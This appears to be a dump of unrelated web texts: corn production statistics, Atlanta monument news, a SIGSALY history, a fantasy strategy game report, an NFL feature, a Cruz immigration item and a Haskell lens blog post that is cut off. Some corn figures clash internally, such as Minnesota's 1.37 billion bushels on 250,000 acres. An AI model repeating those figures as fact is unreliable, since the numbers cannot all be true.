13016 100 Million Bushels & Percentage.[7]  'Other processing' includes the production of High Fructose Corn Syrup, sweeteners, starch, beverage alcohol, and  cereals.  The final estimate of corn production for the years 1950 to 1959 in the United States is given as some three billion bushels and in recent years, some nine billion bushels are produced each year.[2] Corn growth is dominated by west north central Iowa and east central Illinois.[8] In 2011, the national average production was 147 bushels per acre, and reported to be 20 bushels per acre more than the yield in 2002. Based on a national contest in 2011 when an average of 300 bushels per acre was achieved others are sure to follow suit which result in a yield of 300 bushels per acre by 2030 from the same extent land holdings under corn.[5][7]  Ethanol [ edit ]  Two methods are used to produce ethanol from corn and other plants such as sugar cane. The residual product (DDGS) is about 33% of the input stream and is used as livestock feed. Ethanol is blended with gasoline to produce E10 and E85 fuels for automobile vehicles. Its manufacture has created 400,000 jobs in the US and its environmental friendliness is recorded in the form of reduced gas emissions of 25.3 million metric tons. One bushel of corn can produce 2.8 gallons of ethanol, 17.5 lbs of livestock feed and 18 lbs of carbon dioxide.[9]  Compared to other major sources, corn is the least efficient means of ethanol production. In 2007, the production process used 75% of the energy extracted.[10][needs update]  On account of great demand for ethanol, corn is fetching higher prices. This has resulted in farmers increasing acreage under corn by adopting crop rotations between corn and soybeans; causing a decline in soy production. The Federal Agriculture Improvement and Reform Act of 1996 also allowed more acreage under corn, overriding the act of 1983, which had fixed it at 60,200,000 hectares (149,000,000 acres).[11]  Agriculture [ edit ]  There are 80,000,000 acres (32,000,000 ha) of land dedicated exclusively to corn cultivation in the United States. The US is the world's leading producer of corn,[12] having produced 333,010,910 tonnes (327,751,510 long tons; 367,081,690 short tons) of the crop in the year 2009.[13][needs update]  Out of 316,000 corn farms, about 300,000 farms (95% of them) are family-owned. More than 30% of corn farms are operated by women.[14][15]  Highest yield of over 12 billion bushels have been recorded up to 2011 with 12.4 billion bushels reported in 2011 with yields of more than 140 bushels per acre. A milestone in production in the US is that the farmers take out 20% more corn per acre than in any other part of the world.[16] Farming practice is based on irrigation only in about 11% area while the balance area is under un-irrigated conditions. The farm practices have also resulted in implementing conservation measures which have reduced soil erosion to the extent of 44%.  Subsidies [ edit ]  See also US Agricultural subsidies  Corn in the United States has been subsidized since the 1930s, when a drop in demand from post-war Europe caused a food glut and prices crashed. In the 1980s, subsidies increased substantially.[17]  US subsidies for corn have averaged 4.7 billion dollars per year over the twenty years from 1995-2014 inclusive. 2014 projections were that the US would spend $97.29 billion/year on farm and food programs over the next decade.[18]  The subsidies have been criticized for:  high and unpredictable expense to taxpayers  disincentivizing crop diversification and planning for extreme weather [18]  harming public health; supporting meat and processed food by subsidizing durable staples (mostly corn and soy) rather than fruit and vegetables ("specialty crops") [17]  destroying the livelihoods of small farmers in the developing world by dumping (by Oxfam, the World Bank and the International Food Policy Research Institute among others)[19]  Value [ edit ]  US$267 is spent by the average American annually on purchasing corn.[20] In 2015, one bushel of corn costs $3.50.[21] The value of individual corn farms varies from location to location, depending on the amount of bushels produced and the quality of corn.[22] Other factors such as the weather or economic crises may cause corn prices to fluctuate or to rise.[23][24][25] The value of corn is increasing, due to the country's greater demand and reliance for corn.[25]  By state [ edit ]  Iowa corn picker (2011)  Iowa  Iowa, the largest producer of corn in the US, grows three times as much corn as Mexico. Iowa harvested 3,548 acres (1,436 ha) of sweet corn in 2007. In 2011, the state had 92,300 corn farms on 30,700,000 acres (12,400,000 ha), the average size being 333 acres (135 ha), and the average dollar value per acre being US$6,708. In the same year, there were 13.7 million harvested acres of corn for grain, producing 2.36 billion bushels, which yielded 172.0 bu/acre, with US$14.5 billion of corn value of production.[26] Almost 1.88 billion bushels of corn were grown in the state in 2012 on 13.7 million acres of land, while the 2013 projections are 2.45 billion bushels of corn on 13.97 million acres of land.[27]  Nebraska  Nebraska is known as the "Cornhusker State" – and is the third-largest corn-producing state in the United States.[28]  Minnesota  Corn is Minnesota's largest crop. In 1922-1931, production averaged 30.4 bushels per acre; in 1947-1956, it average 46.6 bushels per acre; in 1973, it averaged 91.4 bushels per acre; and in 1994, the average was 142 bushels per acre. In 1935-1946, a shift to hybrid varieties occurred.[29] In 2010, the state produced 1.29 billion bushels.[30] In 2012, Minnesota's farmers produced the largest corn crop in the state's history, at 1.37 billion bushels harvested, equaling 165 bushels per acre, on 250,000 acres.[31]  Illinois  Corn fields near Royal, Illinois.  The first corn varieties grown in Illinois were those obtained from local Indians or varieties brought to Illinois from the New England states. After the Civil War, varieties were developed which were adapted to the state's soils and climate, such as Reid's Yellow Dent. During the period of 1900-1905, there were 10,500,000 acres planted, with a decline to 8,862,000 acres in 1925-1930.[32] In 2012, Illinois sowed 12.8 million acres of corn in 2012, ranking fourth in corn production, behind Iowa, Minnesota, and Nebraska. The state averaged 105 bushels per acre in 2012, down from 157-bushel per acre in 2010 and 2011.[33]  Alaska  Although the state of Alaska has a cold temperate climate, some Alaskan farmers still manage to grow corn, through means such as greenhouse farming. Corn is popular among Alaskans.[34]  Indiana  Corn is a popular crop in the state of Indiana; it is mostly grown as animal feed.[35] Indiana is located in the United States' Corn Belt.[36]  Texas  The state of Texas is a great producer of corn; the final estimate of corn produced in 2010 was some 301 million bushels on 2,300,000 acres (930,000 ha) of land, totaling to $1.2 billion of crop.[37]  Alabama  Corn was introduced to Alabama in around the eighteenth century; there have been traces of corn found in Nuyuka's Upper Creek village which dates back to the period.[38]
-The committee considering what to do with Atlanta’s Confederate monuments holds its first public comment session Wednesday night, and some members of the city’s civil rights community are ready to speak up.  Like us on Facebook  Richard Rose, president of the Atlanta chapter of the NAACP, plans to attend and share his thoughts.  For one, he’s bothered by the committee’s makeup: a majority of its 11 members selected by Mayor Kasim Reed and the City Council are white.  It’s an issue Rose raised in an open letter last month. A response from Reed’s office stressed the process would be open to all members of the community.  Rose also doesn’t see much for the committee to discuss.  “I mean, we don’t need a committee to talk about what to do with celebrations to the failed insurrection against America, which is what the Civil War was,” he said.  For Rose it’s simple: all of Atlanta’s Confederate monuments need to go — street names like Confederate Avenue, included.  But there’s a hitch: state law prevents moving or altering Confederate monuments. It’s the result of a compromise lawmakers negotiated when Georgia took the Confederate battle symbol off the state flag in 2001.  Rose hopes the committee will make some effort to challenge that law.  “Let’s challenge the Legislature to correct these wrongs. Let’s not have another generation of racial oppression sanctioned by state, local and county governments,” he said.  That hope might be in vain. At its first meeting last month, the committee’s chair, Atlanta History Center CEO Sheffield Hale, said its job was just to make recommendations.  It will be up to Reed and the City Council to take any action.  The public meeting starts at 6 p.m. Wednesday at Atlanta City Hall. The committee will hold another public meeting Nov. 8 and plans to deliver its recommendations later in the month.
-In cryptography, SIGSALY (also known as the X System, Project X, Ciphony I, and the Green Hornet) was a secure speech system used in World War II for the highest-level Allied communications.  It pioneered a number of digital communications concepts, including the first transmission of speech using pulse-code modulation.  The name SIGSALY was not an acronym, but a cover name that resembled an acronym—the SIG part was common in Army Signal Corps names (e.g., SIGABA). The prototype was called the "Green Hornet" after the popular radio show The Green Hornet, because it sounded like a buzzing hornet — resembling the show's theme tune — to anyone trying to eavesdrop on the conversation.  Development [ edit ]  At the time of its inception, long distance telephone communications were broadcast using the "A-3" voice scrambler developed by Western Electric. The Germans had a listening station on the Dutch coast which could intercept and break A-3 traffic.[1]  Although telephone scramblers were used by both sides in World War II, they were known not to be very secure in general, and both sides often cracked the scrambled conversations of the other. Inspection of the audio spectrum using a spectrum analyzer often provided significant clues to the scrambling technique. The insecurity of most telephone scrambler schemes led to the development of a more secure scrambler, based on the one-time pad principle.  A prototype was developed at Bell Telephone Laboratories, under the direction of A. B. Clark, assisted by British mathematician Alan Turing,[1][2] and demonstrated to the US Army. The Army was impressed and awarded Bell Labs a contract for two systems in 1942. SIGSALY went into service in 1943 and remained in service until 1946.  Operation [ edit ]  SIGSALY used a random noise mask to encrypt voice conversations which had been encoded by a vocoder. The latter was used both to minimize the amount of redundancy (which is high in voice traffic), and also to reduce the amount of information to be encrypted.  The voice encoding used the fact that speech varies fairly slowly as the components of the throat move. The system extracts information about the voice signal around 25 times a second.  ten channels covering the telephone passband (250 Hz – 2,950 Hz); are rectified and filtered to extract how much energy is in each of these channels.  another signal indicating whether the sound is voiced or unvoiced;  if voiced, a signal indicating the pitch; this also varied at less than 25 Hz.  Next, each signal was sampled for its amplitude once every 20 milliseconds. For the band amplitude signals, the amplitude converted into one of six amplitude levels, with values from 0 through 5. The amplitude levels were on a nonlinear scale, with the steps between levels wide at high amplitudes and narrower at low amplitudes. This scheme, known as "companding" or "compressing-expanding", exploits the fact that the fidelity of voice signals is more sensitive to low amplitudes than to high amplitudes. The pitch signal, which required greater sensitivity, was encoded by a pair of six-level values (one coarse, and one fine), giving thirty-six levels in all.  A cryptographic key, consisting of a series of random values from the same set of six levels, was subtracted from each sampled voice amplitude value to encrypt them before transmission. The subtraction was performed using modular arithmetic: a "wraparound" fashion, meaning that if there was a negative result, it was added to six to give a positive result. For example, if the voice amplitude value was 3 and the random value was 5, then the subtraction would work as follows:  3 − 5 ≡ − 2 , − 2 + 6 ≡ 4 ( mod 6 ) {\displaystyle 3-5\equiv -2,\ -2+6\equiv 4{\pmod {6}}\,}  — giving a value of 4.  The sampled value was then transmitted, with each sample level transmitted on one of six corresponding frequencies in a frequency band, a scheme known as "frequency-shift keying (FSK)". The receiving SIGSALY read the frequency values, converted them into samples, and added the key values back to them to decrypt them. The addition was also performed in a "modulo" fashion, with six subtracted from any value over five. To match the example above, if the receiving SIGSALY got a sample value of 4 with a matching random value of 5, then the addition would be as follows:  4 + 5 ≡ 9 , 9 − 6 ≡ 3 ( mod 6 ) {\displaystyle 4+5\equiv 9,\ 9-6\equiv 3{\pmod {6}}\,}  — which gives the correct value of 3.  To convert the samples back into a voice waveform, they were first turned back into the dozen low-frequency vocoded signals. An inversion of the vocoder process was employed, which included:  a white noise source (used for unvoiced sounds);  a signal generator (used for voiced sounds) generating a set of harmonics, with the base frequency controlled by the pitch signal;  a switch, controlled by the voiced/unvoiced signal, to select one of these two as a source;  a set of filters (one for each band), all taking as input the same source (the source selected by the switch), along with amplifiers whose gain was controlled by the band amplitude signals.  The noise values used for the encryption key were originally produced by large mercury-vapor rectifying vacuum tubes and stored on a phonograph record. The record was then duplicated, with the records being distributed to SIGSALY systems on both ends of a conversation. The records served as the SIGSALY "one-time pad", and distribution was very strictly controlled (although if one had been seized, it would have been of little importance, since only one pair of each was ever produced). For testing and setup purposes, a pseudo-random number generating system made out of relays, known as the "threshing machine", was used.  The records were played on turntables, but since the timing – the clock synchronization – between the two SIGSALY terminals had to be precise, the turntables were by no means just ordinary record-players. The rotation rate of the turntables was carefully controlled, and the records were started at highly specific times, based on precision time-of-day clock standards. Since each record only provided 12 minutes of key, each SIGSALY had two turntables, with a second record "queued up" while the first was "playing".  Usage [ edit ]  A SIGSALY terminal in 1943.  The SIGSALY terminal was massive, consisting of 40 racks of equipment. It weighed over 50 tons, and used about 30 kW of power, necessitating an air-conditioned room to hold it. Too big and cumbersome for general use, it was only used for the highest level of voice communications.  A dozen SIGSALY terminal installations were eventually set up all over the world. The first was installed in the Pentagon building rather than the White House, which had an extension line, as President Franklin Roosevelt knew of British Prime Minister Winston Churchill's insistence that he be able to call at any time of the day or night. The second was installed 60 metres (200 ft) below street level in the basement of Selfridges department store on Oxford Street, London, close to the US Embassy on Grosvenor Square. The first conference took place on 15 July 1943, and it was used by both General Dwight D. Eisenhower as the commander of SHAEF, and Churchill, before extensions were installed to the Embassy, 10 Downing Street and the Cabinet War Rooms.[3] One was installed in a ship and followed General Douglas MacArthur during his South Pacific campaigns. In total during WW2, the system supported about 3,000 high-level telephone conferences.  The installation and maintenance of all SIGSALY machines was undertaken by the specially formed and vetted members of the 805th Signal Service Company of the US Army Signal Corps. The system was cumbersome, but it worked very effectively. When the Allies invaded Germany, an investigative team discovered that the Germans had recorded significant amounts of traffic from the system, but had erroneously concluded that it was a complex telegraphic encoding system.[1]  A recording of Churchill talking to Roosevelt is on display in the Houses of Parliament. The timing of the recorded signal occasionally varies from that received. The spoken words were added to a very loud Beethoven recording which can occasionally be heard.  Significance [ edit ]  SIGSALY has been credited with a number of "firsts"; this list is taken from (Bennett, 1983):  The first realization of enciphered telephony The first quantized speech transmission The first transmission of speech by pulse code modulation (PCM) The first use of companded PCM The first examples of multilevel frequency shift keying (FSK) The first useful realization of speech bandwidth compression The first use of FSK - FDM (Frequency Shift Keying-Frequency Division Multiplex) as a viable transmission method over a fading medium The first use of a multilevel "eye pattern" to adjust the sampling intervals (a new, and important, instrumentation technique)  In popular culture [ edit ]  SIGSALY was featured in Neal Stephenson's novel Cryptonomicon, in a conversation between the fictional character Lawrence Waterhouse and the historical character Alan Turing.  It was also described in the Jeremy Clarkson documentary Inventions That Changed the World.  See also [ edit ]  Spread spectrum  STU-III — a more recent voice encryption system.  Further reading [ edit ]  Top Secret Communications of WWII, by Donald Mehl, U.S. Army Signal Corps. The full story of SIGSALY and SIGTOT. Book available from the U.S. Army Signal Corps Association, a non profit organization. [4]  by Donald Mehl, U.S. Army Signal Corps. The full story of SIGSALY and SIGTOT. Book available from the U.S. Army Signal Corps Association, a non profit organization. M. D. Fagen (editor), National Service in War and Peace (1925–1975), Volume II of A History of Engineering and Science in the Bell System (Bell Telephone Laboratories, 1978) pp. 296–317  References [ edit ]  Notes  William R. Bennett, Fellow, IEEE, "Secret Telephony as a Historical Example of Spread-Spectrum Communications," IEEE Transactions on Communications , Vol. COM-31, No. 1, January 1983, 99.  , Vol. COM-31, No. 1, January 1983, 99. Weadon, P., "Sigsaly Story", National Security Agency Central Security Service, January 2009
-Game Version: Digital v1.0  THE BREAKING OF THE WORLD, WHICH IS KNOWN NOW AS THE CATACLYSM AND ITS AFTHERMATH  I am Ezmir, son of Athalyir, himself noble councilman of Valgona, long cherished in my memory, and the memory of all those who knew him. My mother was Daina of the free  city of Eldric; my brothers Garran and Amir lived and died with her in that city. I am the eldest of those who came from the East now living in this world, scribe to Queen Procipinee of the reborn kingdom of Pariden, as I was scribe to her father Amarian III, last Emperor of the Free Cities of the North. What I write in these pages is the tale of the rebirth of the world, the rise of Roland the Great and his Kingdom on the western Island of Ithuna…  AAR: The Rogue and the King  Our story begins in Inthuna. In the century that has passed since The Cataclysm, life has largely recovered on this large island. Civilization, however, has not returned to the land. The wilds are dominated by outlaws, monsters, and worse.  A young thief named Roland was no better than a typical Brigand. [You can design your own character both visually and in terms of their skills].  Quite by accident, he discovered he was a channeler – a mortal being able to cast magic. This realization set the young thief on a new path. [When you are done with a design, you can create a “card” of your character].  Perhaps it is ironic that Roland chose to adopt the people of Capitar, the very people who he had stolen from during his career as a Brigand or perhaps it was merely a desire to provide restitution to the people he had wronged. Whatever the reason, it would be the people of Capitar that he would lead for good or ill.  Yithril emerged from the wilds. He had found an ideal spot to start his kingdom.  From the woods emerged Janusk, the old merchant master. He recognized Roland’s great potential immediately.  Having found the perfect location to found his new kingdom, Roland decided to call his outpost in the wilds “Resolve”.  On the day of the founding of the Kingdom of Capitar, the only resource available to Roland was money – Gildar which he had…borrowed from others in the past. His magical power was only potential without knowledge of actual spells and without materials, metal, knowledge, etc. there would be no future.  The first thing he deiced to build was a workshop. Workshops produce a tiny amount of material but enough to construct other small buildings until he could find a natural resource.  He also wanted to build a study. Roland knew something about fighting but he was, admittedly uneducated. While he had used swords and made use of things of considerable sophistication, those technologies were prior to the cataclysm. The knowledge wasn’t “gone” entirely but would have to be recovered from the various pieces of the old Empires and Kingdoms of old via their lost libraries that can be found across the land.  Unfortunately, he couldn’t build a study simply because he lacked the materials to do so. Literally. This is what the workshop would do for him.  The nearby gold deposit and iron deposit would be very helpful once he had materials.  For now, he would be fine, Janusk had a knack for bringing in gildar.  A month later…  The summer was smiling on the fledgling Kingdom of Capitar. While exploring the nearby lands, Janusk came across an ancient battlefield.  Midnight stones. These can be sold but there are rumors that some people can take these and forge them into powerful pieces of equipment. But it’s just a rumor.  At the same time, the Outpost of Resolve had begun to attract people from the wilds. The workshop had been completed and upon the completion of the study they could begin trying to relearn the lost knowledge of the world.  The loremaster of the study explained to Roland that the people of Capitar had categorized knowledge into 5 areas: Civilization, Warfare, Magic, Adventure, Diplomacy.  They could investigate any of the categories and in time, they would, hopefully, have some breakthru that would allow them to rediscover a particular technology.  For instance, the Civilization category would potentially open up knowledge on Civics, Harvesting, Production, and Seafaring. The Lore Masterwere absolutely certain that they could learn any of these technologies in about 5 weeks of study.  Roland, always a student of warfare, suggested learning how to forge steel so that they could produce their own high quality weapons and armor. The Sage Master, however, were quick to warn him that knowledge collection doesn’t work the way he suggests. Their first breakthrus would be relatively easy, they would be the parts of the ancient scrolls and texts most readily translatable. With each breakthru, subsequent ones would be significantly more difficult.  I remember the argument between the Sage Master and King Roland arguing over this topic at length. The Sage Master explained that making steel is a complex process. The King was already frustrated by the lack of materials.  Paraphrasing the Lord King:  “There are trees all around us, why do we have so few materials to build with?”  The Sage Master replied, “These trees are of poor quality. They are not hard woods but rather poplars and other kinds of woods unsuitable for building. We need to find an old growth forest, one with mighty oaks.  “Fine. I understand. Then why can we not just build our own library and learn these technologies faster?”  The Sage Master replied, “Sire, It took our ancestors hundreds of years to learn the art of forging metal, engineering great castles, forming sophisticated systems of governments. Our objective, if I may be so bold, should be to find the lost libraries and ancient temples that contains the scrolls and knowledge that had already been learned. Then we can construct schools and universities to study these scrolls.”  The King was weary of the argument and understood.  “So be it. We must expand. We shall need to begin training some pioneers. In the meantime, I will begin exploring the countryside.  Expansion  Fate was smiling on Roland. While visiting a local Inn you discover that there is someone who appreciates midnight stones.  Meanwhile, Janusk had begun his own quest:  The Sorcerer King  There was little magical knowledge left in the world. The ancient Titans had sought out all spell books and destroyed them. But some survived. Roland himself had recovered several but could not read the text. To that end, he invited a Lore Master to run an Arcane Libratory. It wasn’t much but it was a start.  “My Lord, I shall be honored to study your ancient books regardless of how you, ah, acquired them. It shall time some time, however.”  He presented the King with two choices. He could either teach Roland the easiest spells or try to decipher the more complex spells so that he could teach Roland those.  Roland, always impatient during his youth, chose to be taught spells right away.  “Ah, very well then,” said the Lore Master. “Let us look at your spell books.”  “What do these mean?” Roland asked.  “I shall try to put these as straight forward as possible as the nature of magic remains a mystery even to those of us who study it."  There are two classes of spells. There are spells that require a lot of time to cast (many many hours) and there are spells that can be performed very quickly. The ones that take a long time to cast we call “Strategic”. The ones you can cast quickly are called “Tactical”.  “Flame Dart? What’s that?”  The Lore Master smiled, “Ah, this is a tactical battle. A channeler, such as yourself, can concentrate his considerable intellect and draw on the shards of fire that exist throughout the land to throw a small ball of fire at an enemy.”  “Shards?”  “The shards are the source of your power. There are 4 types of them. Earth. Air. Fire. Water. The titans locked the magic of the world within them. The only magic that exists in our world now besides that in the shards are the trace amounts in the Crystaline deposits that are very rare and have stored background magic from the past ages but that’s another discussion.”  “Where are these shards?”  “Out in the wilds. Even from afar you can draw on their power. However, if we were to actually control one, why you could dramatically increase the intensity of the spells in question.”  “What do you mean?”  “That Flame Dart spell, for instance, does a limited amount of damage to your enemies because it requires only a modest amount of your concentration. But if you controlled a fire shard directly, you would double the effect.”  Roland was very curious at this. “What if we controlled two fire shards then?”  “Then the effect would be increased further.”  Roland smiled. “Then I shall find these shards. In the meantime, what spell do you think I should learn first?”  The Loremaster considered. “I would suggest Nature’s Ally.”  “Nature’s Ally?”  “Yes, it is a spell that will call out into the world and bring forth a bear to aid you.”  “What good is a bear?”  “Have you ever fought a bear?”  “No.”  “Ah. Let’s focus on Nature’s Ally.”  Return to the Wilds  Some weeks later, Roland found the Enchanter’s workshop. He only had 1 midnight stone. Maybe he would get lucky.  It was worth a try.  The Enchanter’s workshop, however, was located in the desecrated lands – the vile Fallen Empires of old made use of death magic which twisted and corrupted the land itself.  It was not surprising that the infamous Lord Verga of Yithril would be skulking.  Soon after, Roland was attacked by a monstrous wolf.  Roland knew he was in big trouble. The wolves in the wild had become so dangerous and large that being caught unawares was a death sentence.  Quickly, he opened his spellbook. He was a Channeler after all.  Ah, yes. Nature’s Ally. Thanks Lore Master. Very helpful now.  Brave Sir Roland ran away…  Having escaped from the Wolf Roland realized he was out of his league this far away from his Kingdom. It would, however, take weeks to get home. Remembering his studies, he opened his spell book again to look for spells that were “strategic”.  “Pefect,” he said.  And in a flash, Roland was home.  “My Lord, I am glad to see you,” Janusk said.  “As I am too. However, we lack the funds to acquire the kind of equipment we need.”  That was when Janusk told him about his tip on the location of the legendary Silver Flute. It was worth a fortune but would undoubtedly be dangerous.  “I think together we could take on any of the scum that might be lurking around it.”  Roland, fresh from running away from what amounted to being a large dog, was more circumspect. “Let me summon a friend…”  “Sire, your bear, it’s kind of greenish.”  Roland noticed it too. “Maybe it’s diseased?”  The Lore Master, overhearing this responded, “No, the act of you summoning it changed its hair color, in time, its hair will regrow to its natural color.”  Janusk whispered, “I think it’s diseased. Look at the way it’s always scratching itself.”  The Silver Flute  The tip Janusk had received proved to be correct. The ancient fountain was where he had been told. Unfortunately, news had spread to others where it was located.  “You know, Sire, you and those Brigands look pretty similar.”  “Nevermind that, Janusk.”  “I shall chronicle every moment of the battle.”  “That really isn’t necessary, Janusk.”  Shopping  With the Silver Flute in hand, Janusk returned to Resolve.  “This is crap,” Roland growled to Janusk.  “Admittedly, the options are..limited. But we can still sell the silver flute for 100.”  It was not longer after that that the King instructed the Sage Master to focus on obtaining some reasonable weapons and armor.  Expansion  For the next year, Roland and Janusk explored the wilds, cleaning out the Bandits and other scum to make life safer for his people. It didn’t take long for Roland to gain experience.  He put focused his efforts on improving his concentration under stress.  While the King and Janusk were deep in the wilds, a messenger from Yithril came in.  “We will need to return home and prepare,” he said.  Going to War  The Sage Master and his apprentices were clearly disturbed by the news of war.  “Sire, we have many options available for you for going to war.”  They presented him with 6 obvious ones: City Defenses, Training, Mounted Warfare, Cutting Weapons, Blunt Weapons, and Ranged Weapons.  “I don’t think we need to worry about city defenses,” the King said though it was obvious that the Sage Master disagreed. “Yithril is far enough away that we should be safe for now. Training is interested but we need weapons. I have yet to find a wild horse so mounted warfare is useless. I have used a bow so I grasp that. But what is the difference between cutting weapons and blunt weapons?”  The Sage Master sat down, “Cutting weapons are like swords and axes while blunt weapons include hammers and maces and clubs and the like.”  The King growled, “I know that, Sage Master. As a user of weapons I understand that. But I want to understand them from the point of view of a sovereign trying to assign limited resources.”  The Sage Master looked embarrassed. “Ah, yes. I understand. Cutting weapons tend to be faster but do less damage. To use them well, you need to be trained. You can’t just give a peasant a sword and expect him to use it. Thus, swords and other such weaponry require more training time.  The way my old mentor explained to to me, long ago, was that soldiers use swords, warriors use hammers.”  The King asked the Sage Master to explain.  “Well, like I said, swords require more training time but in return you get a soldier who can make more strikes. But each strike tends to do less damage than someone with a hammer thus, you would also want to equip your soldier with armor.  By contrast, a warrior is someone who you rely to take out enemies quickly and devastatingly. A War Hammer is slow but does a lot of damage and takes little training time. One or two great and powerful warriors can do great harm to enemies with it. But a company of soldiers is, in the long run, far more effective because they’ll outlast the warriors. That is why civilization is protected by soldiers, not warriors.  Is that clear?”  The King laughed, “Not really. I think I’ll have us focus on ranged weapons.”  The Sage Master smiled. “Very well, sire.”  “What other options do we have?” The King asked.  “None.”  At that, an apprentice spoke up, “There is another way.”  “Silence, Apprentice,” the Sage Master commanded.  “But Master, if we are assaulted by the vile Fallen Armies of Yithril, we may need allies.”  “Not those allies.”  The King interrupted the argument, “Speak up, and tell me this alternative.”  Meekly, the apprentice approached the King, “My King, in our diplomatic texts we have learned that the Empire of Amarian – an Empire of men used to recruit all manner of creatures. It’s all in the Hiergamenon.”  “Let me see.”  “Drath?” the King asked.  “It’s just a rumor,” said the Apprentice.  “A MYTH” insisted the Sage Master.  “Nevertheless, we could use allies if we are going to build a kingdom that will stand the test of time.”  End of Part 1…
-Will Tye couldn’t get off the bench at Florida State and wasn’t even invited to the NFL Scouting Combine last winter.  Last Sunday, the Stony Brook University product was catching key passes in a close game against the defending Super Bowl champions.  Yes, to say the Giants’ rookie tight end took an unconventional path to the NFL would be a massive understatement.  “I feel like I’ve been walking around in a big fog because it’s so unbelievable,” Tye said this month. “But I’m loving it. Every minute of it has been a thrill so far, because it feels like I’m part of something special.”  The Giants, in return, think they might have stumbled on a diamond in the rough in the undrafted Tye.  The Middletown, Conn., native was promoted from the practice squad in October out of desperation — Big Blue was running out of tight ends because of injury — but has made that move look savvy in seven appearances.  Tye is coming off his best game as a pro in last week’s 27-26 loss to the Patriots, with five catches for 56 yards that included a 31-yard catch and run just before halftime that set up a touchdown.  Tye has had some drops but is a contributor with 15 catches for 152 yards in seven appearances overall, giving the Giants production they weren’t expecting after tight ends Daniel Fells and Larry Donnell were lost to injury early in the season.  “The game is not too big for him,” Giants offensive coordinator Ben McAdoo said last week. “He seems to play with a calm mind, plays at a good speed, [has] soft hands, and when there’s a lot of moving and shaking going on out there, it doesn’t seem to disrupt him much.”  Pro football didn’t seem like such a pipe dream for Tye as recently as 2011, when he was a four-star Florida State recruit with visions of stardom dancing in his head.  Tye quickly found out he was just a dot in the sea of talented recruits in Tallahassee, including one at his position — current Bills practice-squad member Nick O’Leary — who kept Tye nailed to the bench en route to winning the 2014 John Mackey Award as the best tight end in the country.  Tye was long gone by then, though, having transferred to Stony Brook the year before after realizing his hopes of an NFL career weren’t going to happen if he couldn’t get on the field in college.  The move to Long Island paid immediate dividends, as Tye caught 79 passes for 1,015 yards and nine TDs in two seasons for the Seawolves, earning second-team All-Colonial Athletic Association honors as a senior.  That wasn’t enough to get the 6-foot-2, 262-pound Tye an invitation to the scouting combine in Indianapolis, however, leaving him to try to make the NFL a reality by way of his pro day and the dreaded nationwide tryout route.  The Giants were one of Tye’s tryout teams after they saw him run the 40-yard dash in 4.47 and 4.50 seconds at his pro day. Those two times would have made Tye the fastest tight end at the combine if he had been invited and replicated them.  Tye was among the last players cut by the Giants out of the preseason and feared he would be mired on the practice squad until Fells and Donnell went down, prompting the call from the Giants that no one would have predicted as recently as the run-up to the NFL draft last April.  “I always felt like he had it in him to be a good player,” Giants tight ends coach Kevin M. Gilbride said of Tye. “He’s young, he’s green, his development is what still needs to take place, and it shows.  “But I’ll tell you what,” Gilbride added, “he’s made some big plays for us, too, and I think down the stretch, he’s going to make a lot more.”
-Sen. Ted Cruz signaled yesterday on FOX News that he was concerned about allowing illegal immigrants to get a green card – reportedly part of the Gang of Eight Senate bill for immigration reform.  Sen. Marco Rubio, R-Fla., supports the idea of allowing illegal immigrants to apply for a green card after a 10-year wait.  “The problem with the green card is the green card is a permanent legal residence status, and anyone who has a green card is eligible for citizenship within five years,” Cruz explained to FOX News host Sean Hannity. “And so, if someone can get a green card, that is a path to citizenship.”  Cruz warned that he had “deep concerns” about a path to citizenship for illegal immigrants, pointing out that it was unfair for immigrants who wanted to come to America legally.  “It worries me, even if someone goes to the back of the line, what it means is that if you’re somebody in another country who wants to come to the United States and you followed the rules — you applied to come legally — if we pass something that allows those here illegally to achieve citizenship, it means you’re a chump for having stayed in your own country and followed the rules, because you were not able to live here and raise your family and enjoy the tremendous blessings and liberty in the United States simply because you followed the rules,” Cruz added.
-The connection between the Haskell lens library and category theory is a constant source of amazement to me. The most interesting part is that lenses are formulated in terms of higher order functions that are polymorphic in functors (or, more generally, profunctors). Consider, for instance, this definition:  type Lens s t a b = forall f. Functor f => (a -> f b) -> (s -> f t)  In Haskell, saying that a function is polymorphic in functors, which form a class parameterized by type constructors of the kind *->* (or *->*->* , in the case of profunctors) and supporting a special method called fmap (or dimap , respectively) is rather mind-boggling.  In category theory, on the other hand, functors are standard fare. You can form categories of functors. The properties of such categories are described by pretty much the same machinery as those of any other category.  In particular, one of the most important theorems of category theory, the Yoneda lemma, works in the category of functors out of the box. I have previously shown how to employ the Yoneda lemma to derive the representation for Haskell lenses (see my original blog post and, independently, this paper by Jaskelioff and O’Connor — or a more recent expanded post). Continuing with this program, I’m going to show how to use the Yoneda lemma with profunctors. But let’s start with the basics.  By the way, if you feel intimidated by mathematical notation, don’t worry, I have provided a translation to Haskell. However, math notation is often more succinct and almost always more general. I guess, the same ideas could be expressed using C++ templates, but it would look like an incomprehensible mess.  Functor Categories  Functors between any two given categories C and D can themselves be organized into a category, which is often called [C, D] or DC . The objects in that category are functors, and the morphisms are natural transformations. Given two functors f and g , the hom-set between them can be either called  Nat(f, g)  or  [C, D](f, g)  depending how much information you want to expose. (For simplicity, I’ll assume that the categories are small, so that the “sets” or natural transformations are sets indeed.)  What’s interesting is that, since functor categories are just categories, we can have functors going between them. We sometimes call them higher order functors. We can also have higher order functors going from a functor category to a regular category, in particular to the category of sets, Set. An example of such a functor is a hom-functor in a functor category. You construct this functor (also called a representable functor) when you fix one end of the hom-set and vary the other. In any category, the mapping:  x -> C(a, x)  is a functor from C to Set. We often use a shorthand notation for this functor:  C(a, -)  If we replace C by a functor category then, for a fixed functor g , the mapping:  f -> [C, D](g, f)  is a higher order functor. It maps f to a set of natural transformations — itself an object in Set.  Representable functors play an important role in the Yoneda lemma. Take the set of natural transformations from a representable functor in C to any functor f that goes from C to Set. This set is in one-to-one correspondence with the set of values of this functor at the object a :  [C, Set](C(a, -), f) ≅ f a  This correspondence is an isomorphism, which is natural both in a and f .  The set of natural transformations between two functors f and g can also be expressed as an end:  [C, D](f, g) = ∫ x∈C D(f x, g x)  The end notation is sometimes more convenient because it makes the object x (the “integration variable”) explicit. The Yoneda lemma, in this notation, becomes:  ∫ x∈C Set(C(a, x), f x) ≅ f a  If you’re familiar with distributions, this formula will immediately resonate with you — it looks like the definition of the Dirac delta function:  ∫ dx δ(a - x) f(x) ≅ f(a)  We can apply the Yoneda lemma to a functor category to get:  Nat([C, D](g, -), φ) ≅ φ g  or, in the end notation,  ∫ f Set(∫ x D(g x, f x), φ f) ≅ φ g  Here, the “integration variable” f is itself a functor from C to D, and so is g ; φ , however, is a higher order functor. It maps functors from [C, D] to sets from 